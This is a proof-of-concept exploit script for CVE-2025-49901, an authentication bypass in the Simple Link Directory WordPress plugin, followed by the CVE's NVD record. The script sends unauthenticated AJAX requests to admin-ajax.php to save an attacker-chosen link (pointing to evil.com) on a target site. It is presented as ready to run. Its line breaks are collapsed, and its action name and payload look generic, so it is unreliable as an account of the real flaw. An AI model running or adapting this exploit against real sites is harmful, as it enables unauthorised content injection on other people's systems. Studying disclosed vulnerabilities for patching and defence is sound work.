CVE-2025-49901

# CVE-2025-49901 - Simple Link Directory Authentication Bypass PoC # Vulnerability: Authentication Bypass Using an Alternate Path or Channel # Affected: qc-simple-link-directory < 14.8.1 import requests TARGET_URL = "http://target-wordpress-site.com" PLUGIN_PATH = "/wp-admin/admin-ajax.php" # Exploit: Send unauthenticated request to bypass authentication # The plugin fails to properly verify user capabilities on certain AJAX actions def exploit_auth_bypass(target_url): """ Exploit authentication bypass in Simple Link Directory plugin. The vulnerability allows accessing privileged functionality without authentication. """ # Step 1: Target the AJAX endpoint that handles plugin operations ajax_url = f"{target_url}{PLUGIN_PATH}" # Step 2: Craft request to bypass authentication check # The plugin's authentication logic can be bypassed through alternate path payload = { 'action': 'qcsld_save_link', # Privileged action without proper auth check 'link_title': 'Malicious Link', 'link_url': 'http://evil.com', 'link_description': 'Injected via auth bypass', 'category_id': '1' } # Step 3: Send request without any authentication cookies or nonces headers = { 'User-Agent': 'Mozilla/5.0 (compatible; SecurityResearch)', 'X-Requested-With': 'XMLHttpRequest' } response = requests.post(ajax_url, data=payload, headers=headers) if response.status_code == 200 and 'success' in response.text.lower(): print("[+] Authentication bypass successful!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status: {response.status_code}") return False if __name__ == "__main__": exploit_auth_bypass(TARGET_URL)

{"cve": {"id": "CVE-2025-49901", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:36.243", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass Using an Alternate Path or Channel vulnerability in quantumcloud Simple Link Directory qc-simple-link-directory allows Authentication Abuse.This issue affects Simple Link Directory: from n/a through < 14.8.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/qc-simple-link-directory/vulnerability/wordpress-simple-link-directory-plugin-14-8-1-broken-authentication-vulnerability?_s_id=cve", "source": "[email protected]"}]}}